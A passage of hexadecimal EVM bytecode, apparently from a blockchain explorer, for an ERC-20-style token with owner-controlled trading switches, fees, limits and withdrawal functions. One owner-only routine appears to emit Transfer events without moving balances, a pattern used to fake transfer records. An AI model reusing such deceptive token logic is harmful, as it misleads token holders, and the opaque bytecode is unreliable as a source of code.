a8461416f565b613124565b612e7b565b9050919050565b6141a481614179565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6141df81612e3d565b82525050565b60006141f183836141d6565b60208301905092915050565b6000602082019050919050565b6000614215826141aa565b61421f81856141b5565b935061422a836141c6565b8060005b8381101561425b57815161424288826141e5565b975061424d836141fd565b92505060018101905061422e565b5085935050505092915050565b600060a08201905061427d6000830188612f27565b61428a602083018761419b565b818103604083015261429c818661420a565b90506142ab60608301856130cd565b6142b86080830184612f27565b9695505050505050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061431e602683612d62565b9150614329826142c2565b604082019050919050565b6000602082019050818103600083015261434d81614311565b9050919050565b7f4f6e6c79206f6e652070757263686173652070657220626c6f636b20616c6c6f60008201527f7765642e00000000000000000000000000000000000000000000000000000000602082015250565b60006143b0602483612d62565b91506143bb82614354565b604082019050919050565b600060208201905081810360008301526143df816143a3565b905091905056fea2646970667358221220d79fb14f0c57355b13d8fb91fa63e1ca899b71503261f35d99aa58da1adb2e0964736f6c63430008120033000000000000000000000000e401466aa5bcecd30c5983143d2ce960d60ec3180000000000000000000000000000000000000000000000000000000000000002
Deployed Bytecode
0x6080604052600436106102295760003560e01c806373fa7ddb11610123578063c2b7bbb6116100ab578063e083e9221161006f578063e083e92214610800578063e2f4560514610829578063f2fde38b14610854578063f8b45b051461087d578063ffb54a99146108a857610230565b8063c2b7bbb61461072f578063c4590d3f14610758578063c8c8ebe414610781578063c9567bf9146107ac578063dd62ed3e146107c357610230565b80639a7a23d6116100f25780639a7a23d61461063a578063a457c2d714610663578063a9059cbb146106a0578063afa4f3b2146106dd578063b70143c91461070657610230565b806373fa7ddb146105925780637571336a146105bb5780638da5cb5b146105e457806395d89b411461060f57610230565b806342966c68116101b1578063583e056811610175578063583e0568146104bf5780635d098b38146104ea5780636ddd17131461051357806370a082311461053e578063715018a61461057b57610230565b806342966c68146103ec578063470624021461041557806349bd5a5e146104405780634d54557f1461046b5780634fbee1931461048257610230565b806326ededb8116101f857806326ededb8146103055780632b14ca561461032e578063311028af14610359578063313ce5671461038457806339509351146103af57610230565b806306fdde0314610235578063095ea7b31461026057806318160ddd1461029d57806323b872dd146102c857610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a6108d3565b6040516102579190612de7565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190612eb1565b610965565b6040516102949190612f0c565b60405180910390f35b3480156102a957600080fd5b506102b2610988565b6040516102bf9190612f36565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea9190612f51565b610992565b6040516102fc9190612f0c565b60405180910390f35b34801561031157600080fd5b5061032c60048036038101906103279190613009565b6109c1565b005b34801561033a57600080fd5b50610343610af7565b6040516103509190612f36565b60405180910390f35b34801561036557600080fd5b5061036e610afd565b60405161037b9190612f36565b60405180910390f35b34801561039057600080fd5b50610399610b03565b6040516103a69190613085565b60405180910390f35b3480156103bb57600080fd5b506103d660048036038101906103d19190612eb1565b610b0c565b6040516103e39190612f0c565b60405180910390f35b3480156103f857600080fd5b50610413600480360381019061040e91906130a0565b610b43565b005b34801561042157600080fd5b5061042a610b57565b6040516104379190612f36565b60405180910390f35b34801561044c57600080fd5b50610455610b5d565b60405161046291906130dc565b60405180910390f35b34801561047757600080fd5b50610480610b83565b005b34801561048e57600080fd5b506104a960048036038101906104a491906130f7565b610c70565b6040516104b69190612f0c565b60405180910390f35b3480156104cb57600080fd5b506104d4610cc6565b6040516104e19190613183565b60405180910390f35b3480156104f657600080fd5b50610511600480360381019061050c91906130f7565b610cea565b005b34801561051f57600080fd5b50610528610d8f565b6040516105359190612f0c565b60405180910390f35b34801561054a57600080fd5b50610565600480360381019061056091906130f7565b610da2565b6040516105729190612f36565b60405180910390f35b34801561058757600080fd5b50610590610dea565b005b34801561059e57600080fd5b506105b960048036038101906105b49190613308565b610dfe565b005b3480156105c757600080fd5b506105e260048036038101906105dd9190613364565b610f5c565b005b3480156105f057600080fd5b506105f9610fbf565b60405161060691906130dc565b60405180910390f35b34801561061b57600080fd5b50610624610fe9565b6040516106319190612de7565b60405180910390f35b34801561064657600080fd5b50610661600480360381019061065c9190613364565b61107b565b005b34801561066f57600080fd5b5061068a60048036038101906106859190612eb1565b611121565b6040516106979190612f0c565b60405180910390f35b3480156106ac57600080fd5b506106c760048036038101906106c29190612eb1565b611198565b6040516106d49190612f0c565b60405180910390f35b3480156106e957600080fd5b5061070460048036038101906106ff91906130a0565b6111bb565b005b34801561071257600080fd5b5061072d600480360381019061072891906130a0565b611244565b005b34801561073b57600080fd5b50610756600480360381019061075191906130f7565b6112dc565b005b34801561076457600080fd5b5061077f600480360381019061077a91906133a4565b611382565b005b34801561078d57600080fd5b506107966113d8565b6040516107a39190612f36565b60405180910390f35b3480156107b857600080fd5b506107c16113de565b005b3480156107cf57600080fd5b506107ea60048036038101906107e591906133e4565b61141e565b6040516107f79190612f36565b60405180910390f35b34801561080c57600080fd5b50610827600480360381019061082291906130f7565b6114a5565b005b34801561083557600080fd5b5061083e6116bd565b60405161084b9190612f36565b60405180910390f35b34801561086057600080fd5b5061087b600480360381019061087691906130f7565b6116c3565b005b34801561088957600080fd5b50610892611746565b60405161089f9190612f36565b60405180910390f35b3480156108b457600080fd5b506108bd61174c565b6040516108ca9190612f0c565b60405180910390f35b6060600380546108e290613453565b80601f016020809104026020016040519081016040528092919081815260200182805461090e90613453565b801561095b5780601f106109305761010080835404028352916020019161095b565b820191906000526020600020905b81548152906001019060200180831161093e57829003601f168201915b5050505050905090565b60008061097061175f565b905061097d818585611767565b600191505092915050565b6000600254905090565b60008061099d61175f565b90506109aa858285611930565b6109b58585856119bc565b60019150509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a0261175f565b73ffffffffffffffffffffffffffffffffffffffff1614610a2257600080fd5b60005b83839050811015610af157838382818110610a4357610a42613484565b5b9050602002016020810190610a5891906130f7565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ad69190612f36565b60405180910390a38080610ae9906134e2565b915050610a25565b50505050565b600f5481565b600a5481565b60006009905090565b600080610b1761175f565b9050610b38818585610b29858961141e565b610b33919061352a565b611767565b600191505092915050565b610b54610b4e61175f565b826123c6565b50565b60105481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60004711610bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbd906135aa565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0761175f565b73ffffffffffffffffffffffffffffffffffffffff1614610c2757600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610c6d573d6000803e3d6000fd5b50565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d2b61175f565b73ffffffffffffffffffffffffffffffffffffffff1614610d4b57600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e60009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610df2612593565b610dfc6000612611565b565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e3f61175f565b73ffffffffffffffffffffffffffffffffffffffff1614610e5f57600080fd5b60005b8251811015610f57578160146000858481518110610e8357610e82613484565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110610eef57610eee613484565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df783604051610f3c9190612f0c565b60405180910390a28080610f4f906134e2565b915050610e62565b505050565b610f64612593565b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610ff890613453565b80601f016020809104026020016040519081016040528092919081815260200182805461102490613453565b80156110715780601f1061104657610100808354040283529160200191611071565b820191906000526020600020905b81548152906001019060200180831161105457829003601f168201915b5050505050905090565b611083612593565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611113576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110a9061363c565b60405180910390fd5b61111d82826126d7565b5050565b60008061112c61175f565b9050600061113a828661141e565b90508381101561117f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611176906136ce565b60405180910390fd5b61118c8286868403611767565b60019250505092915050565b6000806111a361175f565b90506111b08185856119bc565b600191505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111fc61175f565b73ffffffffffffffffffffffffffffffffffffffff161461121c57600080fd5b611224610b03565b600a6112309190613821565b8161123b919061386c565b600b8190555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661128561175f565b73ffffffffffffffffffffffffffffffffffffffff16146112a557600080fd5b60006112b030610da2565b90506000606483836112c2919061386c565b6112cc91906138dd565b90506112d781612778565b505050565b6112e4612593565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611352600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610f5c565b61137f600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016126d7565b50565b61138a612593565b611392610b03565b600a61139e9190613821565b826113a9919061386c565b600d819055506113b7610b03565b600a6113c39190613821565b816113ce919061386c565b600c819055505050565b600d5481565b6113e6612593565b6001600e60006101000a81548160ff0219169083151502179055506001600e60016101000a81548160ff021916908315150217905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114e661175f565b73ffffffffffffffffffffffffffffffffffffffff161461150657600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161154191906130dc565b602060405180830381865afa15801561155e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115829190613923565b116115c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b99061399c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161161891906130dc565b602060405180830381865afa158015611635573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116599190613923565b6040518363ffffffff1660e01b81526004016116769291906139bc565b6020604051808303816000875af1158015611695573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b991906139fa565b5050565b600b5481565b6116cb612593565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361173a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173190613a99565b60405180910390fd5b61174381612611565b50565b600c5481565b600e60019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cd90613b2b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611845576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183c90613bbd565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119239190612f36565b60405180910390a3505050565b600061193c848461141e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146119b657818110156119a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199f90613c29565b60405180910390fd5b6119b58484848403611767565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2290613cbb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9190613d4d565b60405180910390fd5b60008103611ab357611aae838360006129d7565b6123c1565b611abb610fbf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b295750611af9610fbf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b625750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b9c575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bb55750600860149054906101000a900460ff16155b15611fdc57600e60019054906101000a900460ff16611caf57601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c6f5750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca590613db9565b60405180910390fd5b5b43601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611d965750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e3d57600d54811115611de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd790613e4b565b60405180910390fd5b600c54611dec83610da2565b82611df7919061352a565b1115611e38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2f90613eb7565b60405180910390fd5b611fdb565b601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611ee05750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f2f57600d54811115611f2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2190613f49565b60405180910390fd5b611fda565b601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611fd957600c54611f8c83610da2565b82611f97919061352a565b1115611fd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcf90613eb7565b60405180910390fd5b5b5b5b5b6000611fe730610da2565b90506000600b548211905080801561200b5750600e60009054906101000a900460ff165b80156120245750600860149054906101000a900460ff16155b801561207a5750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120d05750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121265750601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561216a576001600860146101000a81548160ff02191690831515021790555061214e612c4d565b6000600860146101000a81548160ff0219169083151502179055505b6000600860149054906101000a900460ff161580156121d25750601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156122285750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b90506000811561235557601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122b3576122ac606461229e600f5488612c8b90919063ffffffff16565b612ca190919063ffffffff16565b9050612331565b601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123305761232d606461231f60105488612c8b90919063ffffffff16565b612ca190919063ffffffff16565b90505b5b6000811115612346576123458730836129d7565b5b80856123529190613f69565b94505b601460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123b1576123b087612cb7565b5b6123bc8787876129d7565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612435576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242c9061400f565b60405180910390fd5b61244182600083612d41565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156124c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124be906140a1565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161257a9190612f36565b60405180910390a361258e83600084612d46565b505050565b61259b61175f565b73ffffffffffffffffffffffffffffffffffffffff166125b9610fbf565b73ffffffffffffffffffffffffffffffffffffffff161461260f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126069061410d565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000600267ffffffffffffffff8111156127955761279461319e565b5b6040519080825280602002602001820160405280156127c35781602001602082028036833780820191505090505b50905030816000815181106127db576127da613484565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612880573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128a49190614142565b816001815181106128b8576128b7613484565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061291d307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611767565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016129a1959493929190614268565b600060405180830381600087803b1580156129bb57600080fd5b505af11580156129cf573d6000803e3d6000fd5b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3d90613cbb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aac90613d4d565b60405180910390fd5b612ac0838383612d41565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612b46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3d90614334565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c349190612f36565b60405180910390a3612c47848484612d46565b50505050565b6000612c5830610da2565b905060008103612c685750612c89565b6000819050600b54811115612c7d57600b5490505b612c8681612778565b50505b565b60008183612c99919061386c565b905092915050565b60008183612caf91906138dd565b905092915050565b612cff601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d4b565b612d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d35906143c6565b60405180910390fd5b50565b505050565b505050565b60004382119050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d91578082015181840152602081019050612d76565b60008484015250505050565b6000601f19601f8301169050919050565b6000612db982612d57565b612dc38185612d62565b9350612dd3818560208601612d73565b612ddc81612d9d565b840191505092915050565b60006020820190508181036000830152612e018184612dae565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612e4882612e1d565b9050919050565b612e5881612e3d565b8114612e6357600080fd5b50565b600081359050612e7581612e4f565b92915050565b6000819050919050565b612e8e81612e7b565b8114612e9957600080fd5b50565b600081359050612eab81612e85565b92915050565b60008060408385031215612ec857612ec7612e13565b5b6000612ed685828601612e66565b9250506020612ee785828601612e9c565b9150509250929050565b60008115159050919050565b612f0681612ef1565b82525050565b6000602082019050612f216000830184612efd565b92915050565b612f3081612e7b565b82525050565b6000602082019050612f4b6000830184612f27565b92915050565b600080600060608486031215612f6a57612f69612e13565b5b6000612f7886828701612e66565b9350506020612f8986828701612e66565b9250506040612f9a86828701612e9c565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112612fc957612fc8612fa4565b5b8235905067ffffffffffffffff811115612fe657612fe5612fa9565b5b60208301915083602082028301111561300257613001612fae565b5b9250929050565b60008060006040848603121561302257613021612e13565b5b600084013567ffffffffffffffff8111156130405761303f612e18565b5b61304c86828701612fb3565b9350935050602061305f86828701612e9c565b9150509250925092565b600060ff82169050919050565b61307f81613069565b82525050565b600060208201905061309a6000830184613076565b92915050565b6000602082840312156130b6576130b5612e13565b5b60006130c484828501612e9c565b91505092915050565b6130d681612e3d565b82525050565b60006020820190506130f160008301846130cd565b92915050565b60006020828403121561310d5761310c612e13565b5b600061311b84828501612e66565b91505092915050565b6000819050919050565b600061314961314461313f84612e1d565b613124565b612e1d565b9050919050565b600061315b8261312e565b9050919050565b600061316d82613150565b9050919050565b61317d81613162565b82525050565b60006020820190506131986000830184613174565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6131d682612d9d565b810181811067ffffffffffffffff821117156131f5576131f461319e565b5b80604052505050565b6000613208612e09565b905061321482826131cd565b919050565b600067ffffffffffffffff8211156132345761323361319e565b5b602082029050602081019050919050565b600061325861325384613219565b6131fe565b9050808382526020820190506020840283018581111561327b5761327a612fae565b5b835b818110156132a457806132908882612e66565b84526020840193505060208101905061327d565b5050509392505050565b600082601f8301126132c3576132c2612fa4565b5b81356132d3848260208601613245565b91505092915050565b6132e581612ef1565b81146132f057600080fd5b50565b600081359050613302816132dc565b92915050565b6000806040838503121561331f5761331e612e13565b5b600083013567ffffffffffffffff81111561333d5761333c612e18565b5b613349858286016132ae565b925050602061335a858286016132f3565b9150509250929050565b6000806040838503121561337b5761337a612e13565b5b600061338985828601612e66565b925050602061339a858286016132f3565b9150509250929050565b600080604083850312156133bb576133ba612e13565b5b60006133c985828601612e9c565b92505060206133da85828601612e9c565b9150509250929050565b600080604083850312156133fb576133fa612e13565b5b600061340985828601612e66565b925050602061341a85828601612e66565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061346b57607f821691505b60208210810361347e5761347d613424565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134ed82612e7b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361351f5761351e6134b3565b5b600182019050919050565b600061353582612e7b565b915061354083612e7b565b9250828201905080821115613558576135576134b3565b5b92915050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b6000613594601683612d62565b915061359f8261355e565b602082019050919050565b600060208201905081810360008301526135c381613587565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613626603983612d62565b9150613631826135ca565b604082019050919050565b6000602082019050818103600083015261365581613619565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006136b8602583612d62565b91506136c38261365c565b604082019050919050565b600060208201905081810360008301526136e7816136ab565b9050919050565b60008160011c9050919050565b6000808291508390505b600185111561374557808604811115613721576137206134b3565b5b60018516156137305780820291505b808102905061373e856136ee565b9450613705565b94509492505050565b60008261375e576001905061381a565b8161376c576000905061381a565b8160018114613782576002811461378c576137bb565b600191505061381a565b60ff84111561379e5761379d6134b3565b5b8360020a9150848211156137b5576137b46134b3565b5b5061381a565b5060208310610133831016604e8410600b84101617156137f05782820a9050838111156137eb576137ea6134b3565b5b61381a565b6137fd84848460016136fb565b92509050818404811115613814576138136134b3565b5b81810290505b9392505050565b600061382c82612e7b565b915061383783613069565b92506138647fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461374e565b905092915050565b600061387782612e7b565b915061388283612e7b565b925082820261389081612e7b565b915082820484148315176138a7576138a66134b3565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006138e882612e7b565b91506138f383612e7b565b925082613903576139026138ae565b5b828204905092915050565b60008151905061391d81612e85565b92915050565b60006020828403121561393957613938612e13565b5b60006139478482850161390e565b91505092915050565b7f43616e2774207769746864726177203000000000000000000000000000000000600082015250565b6000613986601083612d62565b915061399182613950565b602082019050919050565b600060208201905081810360008301526139b581613979565b9050919050565b60006040820190506139d160008301856130cd565b6139de6020830184612f27565b9392505050565b6000815190506139f4816132dc565b92915050565b600060208284031215613a1057613a0f612e13565b5b6000613a1e848285016139e5565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613a83602683612d62565b9150613a8e82613a27565b604082019050919050565b60006020820190508181036000830152613ab281613a76565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613b15602483612d62565b9150613b2082613ab9565b604082019050919050565b60006020820190508181036000830152613b4481613b08565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ba7602283612d62565b9150613bb282613b4b565b604082019050919050565b60006020820190508181036000830152613bd681613b9a565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613c13601d83612d62565b9150613c1e82613bdd565b602082019050919050565b60006020820190508181036000830152613c4281613c06565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613ca5602583612d62565b9150613cb082613c49565b604082019050919050565b60006020820190508181036000830152613cd481613c98565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613d37602383612d62565b9150613d4282613cdb565b604082019050919050565b60006020820190508181036000830152613d6681613d2a565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613da3601683612d62565b9150613dae82613d6d565b602082019050919050565b60006020820190508181036000830152613dd281613d96565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f